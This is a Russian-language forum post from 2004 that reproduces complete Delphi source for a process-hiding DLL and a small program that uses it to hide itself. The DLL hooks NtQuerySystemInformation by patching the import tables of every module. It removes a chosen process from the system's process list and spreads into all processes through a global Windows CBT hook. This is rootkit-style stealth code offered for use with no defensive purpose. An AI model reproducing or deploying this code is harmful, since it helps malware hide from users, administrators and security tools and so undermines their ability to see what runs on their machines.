Evil Skynet
Профиль
Группа: Комодератор
Сообщений: 3288
Регистрация: 28.5.2004
Где: X-6120400 Y-1 4624650
Репутация: 3
Всего: 108
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| Цитата |
library Hide;
uses
Windows,
TlHelp32;
type
SYSTEM_INFORMATION_CLASS = (
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemNotImplemented1,
SystemProcessesAndThreadsInformation,
SystemCallCounts,
SystemConfigurationInformation,
SystemProcessorTimes,
SystemGlobalFlag,
SystemNotImplemented2,
SystemModuleInformation,
SystemLockInformation,
SystemNotImplemented3,
SystemNotImplemented4,
SystemNotImplemented5,
SystemHandleInformation,
SystemObjectInformation,
SystemPagefileInformation,
SystemInstructionEmulationCounts,
SystemInvalidInfoClass1,
SystemCacheInformation,
SystemPoolTagInformation,
SystemProcessorStatistics,
SystemDpcInformation,
SystemNotImplemented6,
SystemLoadImage,
SystemUnloadImage,
SystemTimeAdjustment,
SystemNotImplemented7,
SystemNotImplemented8,
SystemNotImplemented9,
SystemCrashDumpInformation,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemLoadAndCallImage,
SystemPrioritySeparation,
SystemNotImplemented10,
SystemNotImplemented11,
SystemInvalidInfoClass2,
SystemInvalidInfoClass3,
SystemTimeZoneInformation,
SystemLookasideInformation,
SystemSetTimeSlipEvent,
SystemCreateSession,
SystemDeleteSession,
SystemInvalidInfoClass4,
SystemRangeStartInformation,
SystemVerifierInformation,
SystemAddVerifier,
SystemSessionProcessesInformation
);
_IMAGE_IMPORT_DESCRIPTOR = packed record
case Integer of 0:(
Characteristics: DWORD);
1:(
OriginalFirstThunk:DWORD;
TimeDateStamp:DWORD;
ForwarderChain: DWORD;
Name: DWORD;
FirstThunk: DWORD);
end;
IMAGE_IMPORT_DESCRIPTOR=_IMAGE_IMPORT_DESCRIPTOR;
PIMAGE_IMPORT_DESCRIPTOR=^IMAGE_IMPORT_DESCRIPTOR;
PFARPROC=^FARPROC;
const ImagehlpLib = 'IMAGEHLP.DLL';
function ImageDirectoryEntryToData(Base: Pointer; MappedAsImage: ByteBool;
DirectoryEntry: Word; var Size: ULONG): Pointer; stdcall; external ImagehlpLib name 'ImageDirectoryEntryToData';
function AllocMem(Size: Cardinal): Pointer;
begin
GetMem(Result, Size);
FillChar(Result^, Size, 0);
end;
procedure ReplaceIATEntryInOneMod(pszCallerModName:Pchar;pfnCurrent:FarProc;pfnNew:FARPROC;hmodCaller:hModule);
var ulSize:ULONG; pImportDesc:PIMAGE_IMPORT_DESCRIPTOR;pszModName:PChar;
pThunk:PDWORD; ppfn:PFARPROC;ffound:LongBool;written:DWORD;
begin
pImportDesc := ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize);
if pImportDesc = nil then exit;
while pImportDesc.Name<>0 do
begin
pszModName := PChar(hmodCaller + pImportDesc.Name);
if (lstrcmpiA(pszModName, pszCallerModName) = 0) then break;
Inc(pImportDesc);
end;
if (pImportDesc.Name = 0) then exit;
pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk);
while pThunk^<>0 do
begin
ppfn := PFARPROC(pThunk);
fFound := (ppfn^ = pfnCurrent);
if (fFound) then
begin
VirtualProtectEx(GetCurrentProcess,ppfn,4,PAGE_EXECUTE_READWRITE,written);
WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew), Written);
exit;
end;
Inc(pThunk);
end;
end;
var
addr_NtQuerySystemInformation:Pointer;
mypid:DWORD;
fname:PCHAR;
mapaddr:PDWORD;
hideOnlyTaskMan:PBOOL;
{ By Wasm.ru}
function myNtQuerySystemInfo(SystemInformationClass:SYSTEM_INFORMATION_CLASS;SystemInformation:Pointer;
SystemInformationLength:ULONG;ReturnLength:PULONG):LongInt;stdcall;
label onceagain,getnextpidstruct,quit,fillzero;
asm
push ReturnLength
push SystemInformationLength
push SystemInformation
push dword ptr SystemInformationClass
call dword ptr [addr_NtQuerySystemInformation]
or eax,eax
jl quit
cmp SystemInformationClass,SystemProcessesAndThreadsInformation
jne quit
onceagain:
mov esi,SystemInformation
getnextpidstruct:
mov ebx,esi
cmp dword ptr [esi],0
je quit
add esi,[esi]
mov ecx,[esi+44h]
cmp ecx,mypid
jne getnextpidstruct
mov edx,[esi]
test edx,edx
je fillzero
add [ebx],edx
jmp onceagain
fillzero:
and [ebx],edx
jmp onceagain
quit:
mov Result,eax
end;
procedure InterceptFunctions;
var hSnapShot:THandle;me32:MODULEENTRY32;
begin
addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation');
hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
if hSnapshot=INVALID_HANDLE_VALUE then exit;
try
ZeroMemory(@me32,sizeof(MODULEENTRY32));
me32.dwSize:=sizeof(MODULEENTRY32);
Module32First(hSnapShot,me32);
repeat
ReplaceIATEntryInOneMod('ntdll.dll',addr_NtQuerySystemInformation,@MyNtQuerySystemInfo,me32.hModule);
until not Module32Next(hSnapShot,me32);
finally
CloseHandle(hSnapShot);
end;
end;
procedure UninterceptFunctions;
var hSnapShot:THandle;me32:MODULEENTRY32;
begin
addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation');
hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
if hSnapshot=INVALID_HANDLE_VALUE then exit;
try
ZeroMemory(@me32,sizeof(MODULEENTRY32));
me32.dwSize:=sizeof(MODULEENTRY32);
Module32First(hSnapShot,me32);
repeat
ReplaceIATEntryInOneMod('ntdll.dll',@MyNtQuerySystemInfo,addr_NtQuerySystemInformation,me32.hModule);
until not Module32Next(hSnapShot,me32);
finally
CloseHandle(hSnapShot);
end;
end;
var HookHandle: THandle;
function CbtProc(code: integer; wparam: integer; lparam: integer):Integer; stdcall;
begin
Result:=0;
end;
procedure InstallHook; stdcall;
begin
HookHandle:=SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);
end;
var hFirstMapHandle:THandle;
function HideProcess(pid:DWORD;HideOnlyFromTaskManager:BOOL):BOOL;stdcall;
var addrMap:PDWORD;ptr2:PBOOL;
begin
mypid:=0;
result:=false;
hFirstMapHandle:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,8,'NtHideFileMapping');
if hFirstMapHandle=0 then exit;
addrMap:=MapViewOfFile(hFirstMapHandle,FILE_MAP_WRITE,0,0,8);
if addrMap=nil then
begin
CloseHandle(hFirstMapHandle);
exit;
end;
addrMap^:=pid;
ptr2:=PBOOL(DWORD(addrMap)+4);
ptr2^:=HideOnlyFromTaskManager;
UnmapViewOfFile(addrMap);
InstallHook;
result:=true;
end;
exports
HideProcess;
var
hmap:THandle;
procedure LibraryProc(Reason: Integer);
begin
if Reason=DLL_PROCESS_DETACH then
if mypid>0 then
UninterceptFunctions() else
CloseHandle(hFirstMapHandle);
end;
begin
hmap:=OpenFileMapping(FILE_MAP_READ,false,'NtHideFileMapping');
if hmap=0 then exit;
try
mapaddr:=MapViewOfFile(hmap,FILE_MAP_READ,0,0,0);
if mapaddr=nil then exit;
mypid:=mapaddr^;
hideOnlyTaskMan:=PBOOL(DWORD(mapaddr)+4);
if hideOnlyTaskMan^ then
begin
fname:=allocMem(MAX_PATH+1);
GetModuleFileName(GetModuleHandle(nil),fname,MAX_PATH+1);
// if not (ExtractFileName(fname)='taskmgr.exe') then exit;
end;
InterceptFunctions;
finally
UnmapViewOfFile(mapaddr);
CloseHandle(Hmap);
DLLProc:=@LibraryProc;
end;
end.
Текст програмки, прячущей саму себя:
Код
program HideProj;
uses
windows,messages;
function HideProcess(pid:DWORD;HideOnlyFromTaskManager:BOOL):BOOL; stdcall; external 'hide.dll';
function ProcessMessage(var Msg: TMsg): Boolean;
var
Handled: Boolean;
begin
Result := False;
begin
Result := True;
if Msg.Message <> WM_QUIT then
begin
Handled := False;
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end
end;
end;
procedure ProcessMessages;
var
Msg: TMsg;
begin
while ProcessMessage(Msg) do {loop};
end;
begin
HideProcess(GetCurrentProcessId,false);
while true do
begin
ProcessMessages;
end;
end.
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"Кто владеет информацией, тот владеет миром"
Уинстон Черчилль |
Ctrl+Alt+Delete, task manager 
Дата 12.7.2004, 11:12 (
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